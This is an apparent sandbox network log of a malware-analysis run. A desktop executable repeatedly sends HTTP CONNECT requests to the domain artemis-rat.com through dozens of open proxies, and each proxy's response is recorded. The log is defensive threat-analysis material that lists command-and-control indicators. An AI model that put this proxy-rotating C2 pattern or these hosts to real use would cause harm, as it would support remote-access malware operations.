Mar 11, 2024 03:30:42.438546896 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.5	53017	12.176.231.147	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.359186888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.565798044 CET	169	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.5	50993	51.75.125.208	40998	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.359188080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.5	53042	66.207.184.73	5432	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.359504938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.575198889 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.5	53022	40.76.160.143	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.367286921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.5	51169	121.204.179.70	7777	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.367700100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.975516081 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.5	51048	167.71.210.234	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.373447895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505565882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.608275890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.717577934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.5	52888	103.190.54.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.374037981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.5	52961	111.88.240.201	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.377927065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.5	53078	50.199.46.20	32100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.378493071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.5	53000	20.111.54.16	8123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.385641098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.677930117 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.5	53131	104.25.108.120	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.386029959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.540323973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.5	53129	104.16.105.142	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.386641979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.541336060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.5	52985	58.234.116.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.387958050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.5	52988	43.129.228.46	7891	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.390767097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.5	52984	195.87.217.75	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.399040937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.5	53178	104.18.161.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.400348902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.554366112 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.5	53052	82.113.157.122	31280	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.400348902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.127326012 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.5	53185	104.17.66.69	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.403259993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.557300091 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.5	52983	171.247.244.103	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.403485060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.5	51113	45.230.48.131	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.407080889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.498730898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.054064035 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.5	53183	162.159.242.158	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.407107115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.967602968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.129231930 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.5	52982	43.133.136.208	8800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.409071922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.5	52479	139.162.181.177	60844	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.418032885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505712986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.608269930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.717598915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.5	53219	104.24.15.158	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.419583082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.574657917 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.5	52559	178.236.246.53	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.420916080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.001852036 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.5	53036	219.243.212.118	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.426731110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.753410101 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.5	53186	206.220.175.2	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.428761959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.5	53124	135.148.10.161	60415	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.431241035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093034983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905122995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389684916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093161106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889548063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.592847109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
